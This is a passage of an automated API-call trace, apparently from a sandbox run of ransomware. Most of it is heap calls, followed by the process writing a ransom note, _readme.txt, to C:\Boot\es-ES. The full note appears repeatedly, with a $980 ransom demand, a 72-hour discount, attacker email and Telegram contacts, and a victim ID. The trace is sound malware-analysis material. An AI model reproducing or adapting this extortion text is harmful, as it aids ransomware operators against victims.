(in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.158] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.158] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.158] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.158] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.158] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.158] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.158] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.158] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.158] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.158] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.158] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.158] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.158] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.158] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.158] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.158] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.158] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.158] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.158] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.158] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.158] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.158] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.158] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.158] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.158] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.159] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.159] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.159] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.159] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.159] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.159] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.159] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.159] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.159] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.159] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.159] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.159] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.159] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.159] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.159] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.159] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.159] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.159] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.159] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.159] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.159] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.159] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.159] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.159] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.159] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.159] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.159] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.159] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.159] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.159] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.159] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.159] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.160] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.160] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.160] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.160] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.160] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.160] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.160] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.160] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.160] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.160] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.160] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.160] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.160] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.160] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.160] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.160] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.160] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.160] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.160] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.160] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.160] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.160] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.160] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.160] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.160] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.160] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.160] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.160] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.160] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.160] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.160] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.161] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.161] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.161] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.161] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.161] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.161] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.161] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.161] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.161] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.161] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.161] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.161] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.161] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.161] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.161] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.161] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.161] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.161] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.161] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.161] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.161] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.161] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.161] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.161] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.161] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.161] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.161] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.161] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.161] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.161] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.161] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.162] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.162] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.162] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.162] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.162] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.162] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.162] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.162] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.162] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.162] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.162] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.162] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.162] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.162] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.162] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.162] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.162] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.162] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.162] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.162] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.162] PathFindFileNameW (pszPath="C:\\Boot\\es-ES\\") returned="es-ES\\" [0059.162] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0059.162] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.162] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.162] PathFindFileNameW (pszPath="") returned="" [0059.162] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0059.163] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0059.163] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x306a418 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0059.163] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0059.163] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.163] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.163] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.163] PathAppendW (in: pszPath="C:\\Boot\\es-ES\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\es-ES\\_readme.txt") returned 1 [0059.163] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.163] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.163] PathFileExistsW (pszPath="C:\\Boot\\es-ES\\_readme.txt") returned 0 [0059.164] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x7d00) returned 0x312a418 [0059.164] lstrcpyW (in: lpString1=0x312a418, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" [0059.164] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd", lpString2="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" [0059.164] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c9340 [0059.164] CreateFileW (lpFileName="C:\\Boot\\es-ES\\_readme.txt" (normalized: "c:\\boot\\es-es\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c0 [0059.165] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x930) returned 0x3100c28 [0059.165] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x894) returned 0x3068dd8 [0059.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x3068dd8, cbMultiByte=2196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 1173 [0059.165] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8a0) returned 0x3132120 [0059.165] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.165] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0059.165] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned 1172 [0059.165] WriteFile (in: hFile=0x5c0, lpBuffer=0x3132120*, nNumberOfBytesToWrite=0x494, lpNumberOfBytesWritten=0x9aafb64, lpOverlapped=0x0 | out: lpBuffer=0x3132120*, lpNumberOfBytesWritten=0x9aafb64*=0x494, lpOverlapped=0x0) returned 1 [0059.166] CloseHandle (hObject=0x5c0) returned 1 [0059.166] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132120 | out: hHeap=0x670000) returned 1 [0059.166] HeapFree (in: hHeap=0x670000, dwFlags=0x0, 